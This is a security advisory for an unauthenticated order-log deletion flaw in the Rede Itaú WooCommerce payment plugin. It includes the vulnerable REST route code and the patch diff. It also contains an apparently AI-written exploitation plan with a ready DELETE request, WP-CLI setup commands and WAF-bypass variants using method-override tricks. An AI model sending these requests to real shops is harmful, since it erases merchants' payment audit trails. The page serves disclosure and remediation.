Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit <= 5.1.5 - Missing Authorization to Unauthenticated Rede Order Logs Deletion
Description
The Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the clearOrderLogs() function in all versions up to, and including, 5.1.5. This makes it possible for unauthenticated attackers to delete the Rede Order Logs metadata from all WooCommerce orders.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.1.5What Changed in the Fix
Changes introduced in v5.1.6
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0942 ## 1. Vulnerability Summary The **Rede Itaú for WooCommerce** plugin (versions <= 5.1.5) contains a missing authorization vulnerability in its REST API implementation. The plugin registers a custom REST route `redeIntegration/clearOrderLogs` with a `permi…
Show full research plan
Exploitation Research Plan: CVE-2026-0942
1. Vulnerability Summary
The Rede Itaú for WooCommerce plugin (versions <= 5.1.5) contains a missing authorization vulnerability in its REST API implementation. The plugin registers a custom REST route redeIntegration/clearOrderLogs with a permission_callback set to __return_true. This allows any unauthenticated user to trigger the clearOrderLogs() function, which deletes the lknWcRedeOrderLogs metadata from all WooCommerce orders. This metadata typically contains transaction logs and payment records essential for order auditing and debugging.
2. Attack Vector Analysis
- Endpoint:
/wp-json/redeIntegration/clearOrderLogs - HTTP Method:
DELETE - Authentication: None (Unauthenticated)
- Permissions: None (Bypassed via
permission_callback => '__return_true') - Payload: None required.
- Preconditions: The plugin must be active, and WooCommerce must be installed. For the exploit to be "successful" in a visible way, orders with the meta key
lknWcRedeOrderLogsmust exist.
3. Code Flow
- Registration: In
Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php, the functionregisterorderRedeCaptureEndPoint()is called (likely duringrest_api_init). - Route Definition:
register_rest_route('redeIntegration', '/clearOrderLogs', array( 'methods' => 'DELETE', 'callback' => array($this, 'clearOrderLogs'), 'permission_callback' => '__return_true', // Vulnerability: No auth check )); - Sink: When the endpoint is hit,
clearOrderLogs($request)is executed:public function clearOrderLogs($request) { $args = array( 'limit' => -1, 'meta_key' => 'lknWcRedeOrderLogs', 'meta_compare' => 'EXISTS', ); $orders = wc_get_orders($args); // Fetches all orders with logs foreach ($orders as $order) { $order->delete_meta_data('lknWcRedeOrderLogs'); // Deletes the logs $order->save(); } return new WP_REST_Response($orders, 200); }
4. Nonce Acquisition Strategy
The WordPress REST API enforces nonce verification only if the request uses Cookie-based authentication (to prevent CSRF). For unauthenticated requests to a route where permission_callback returns true, no nonce is required by default.
Since the goal is unauthenticated exploitation:
- No Nonce Needed: The request will be sent without cookies.
- Bypass Check: Even if the plugin attempted to check a nonce, it does not do so inside the
clearOrderLogsfunction.
5. Exploitation Strategy
The attack will be executed using the http_request tool to perform an unauthenticated DELETE request.
Step-by-Step Plan:
- Preparation: Ensure an order exists with the target metadata.
- Request: Send a
DELETErequest to the target endpoint. - Headers: Use
Content-Type: application/json. - Verification: Check if the metadata was removed from the order.
HTTP Request Payload:
DELETE /wp-json/redeIntegration/clearOrderLogs HTTP/1.1
Host: TARGET_HOST
Content-Type: application/json
Connection: close
6. Test Data Setup
To demonstrate the impact, we must populate the database with an order containing the specific meta key.
WP-CLI Commands:
- Create a customer (optional):
wp user create victim victim@example.com --role=customer - Create a WooCommerce Order:
wp wc shop_order create --user=1 --status=processing --porcelain(Save the ID, e.g.,123) - Add the sensitive Meta Key:
wp post meta add 123 lknWcRedeOrderLogs '{"tid": "12345", "status": "approved", "log": "Sensitive payment data"}' - Verify Setup:
wp post meta get 123 lknWcRedeOrderLogs
7. Expected Results
- HTTP Response: A
200 OKstatus. The body will contain a JSON array of the order objects that were modified (as returned byWP_REST_Response($orders, 200)). - Database Change: The record for
lknWcRedeOrderLogsassociated with the order ID will be deleted from thewp_postmeta(orwp_wc_orders_meta) table.
8. Verification Steps
After sending the DELETE request, verify the deletion using WP-CLI:
- Attempt to fetch the meta key for the target order:
wp post meta get 123 lknWcRedeOrderLogs - Check Output:
- If the command returns empty or an error stating the meta key does not exist, the exploit was successful.
- If it returns the JSON log data, the exploit failed.
9. Alternative Approaches
If the DELETE method is blocked by a server-side firewall (WAF) or server configuration:
- Method Overriding: Try sending a
POSTrequest with the headerX-HTTP-Method-Override: DELETE. - Parameter Overriding: Try sending a
POSTrequest with the query parameter?_method=DELETE.POST /wp-json/redeIntegration/clearOrderLogs?_method=DELETE
If the REST API root is restricted:
- Check if other registered routes like
/wp-json/redeIntegration/verifyPixRedeStatus(GET) are also accessible, confirming a wider authorization failure within theLknIntegrationRedeForWoocommerceWcEndpointclass.
Summary
The plugin registers a REST API endpoint for clearing order logs with a permission callback that always returns true, allowing unauthenticated users to trigger the deletion. This vulnerability results in the permanent removal of Rede payment transaction logs from all WooCommerce orders, hindering auditing and debugging efforts.
Vulnerable Code
// Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php register_rest_route('redeIntegration', '/clearOrderLogs', array( 'methods' => 'DELETE', 'callback' => array($this, 'clearOrderLogs'), 'permission_callback' => '__return_true', )); --- // Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php public function clearOrderLogs($request) { $args = array( 'limit' => -1, // Sem limite, pega todas as ordens 'meta_key' => 'lknWcRedeOrderLogs', // Meta key específica 'meta_compare' => 'EXISTS', // Verifica se a meta key existe ); $orders = wc_get_orders($args); foreach ($orders as $order) { $order->delete_meta_data('lknWcRedeOrderLogs'); $order->save(); } return new WP_REST_Response($orders, 200); }
Security Fix
@@ -39,7 +39,7 @@ register_rest_route('redeIntegration', '/clearOrderLogs', array( 'methods' => 'DELETE', 'callback' => array($this, 'clearOrderLogs'), - 'permission_callback' => '__return_true', + 'permission_callback' => array($this, 'check_clear_logs_permissions'), )); register_rest_route('woorede', '/s', array( @@ -55,22 +55,87 @@ )); } + /** + * Verifica se o usuário tem permissão para limpar logs de pedidos + * + * @return bool True se autorizado, false caso contrário + */ + public function check_clear_logs_permissions() + { + // Verifica se o usuário está logado e tem permissão para gerenciar WooCommerce + return current_user_can('manage_woocommerce') || current_user_can('manage_options'); + } + public function clearOrderLogs($request) { - $args = array( - 'limit' => -1, // Sem limite, pega todas as ordens - 'meta_key' => 'lknWcRedeOrderLogs', // Meta key específica - 'meta_compare' => 'EXISTS', // Verifica se a meta key existe - ); - - $orders = wc_get_orders($args); - - foreach ($orders as $order) { - $order->delete_meta_data('lknWcRedeOrderLogs'); - $order->save(); + // Verificação adicional de segurança + if (!current_user_can('manage_woocommerce') && !current_user_can('manage_options')) { + return new WP_Error( + 'insufficient_permissions', + __('You do not have permission to clear order logs.', 'woo-rede'), + array('status' => 403) + ); } ...
Exploit Outline
The exploit targets the `/wp-json/redeIntegration/clearOrderLogs` REST API route. Because the `permission_callback` is set to `__return_true` in versions <= 5.1.5, an attacker does not need to be authenticated or provide any credentials. To execute the exploit, an attacker sends an unauthenticated HTTP DELETE request to this endpoint. The WordPress REST API processes the request, bypasses authorization, and executes the `clearOrderLogs()` function. This function uses `wc_get_orders()` to find every WooCommerce order containing the `lknWcRedeOrderLogs` meta key and deletes that metadata, effectively erasing transaction logs and payment audit trails for the entire store.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.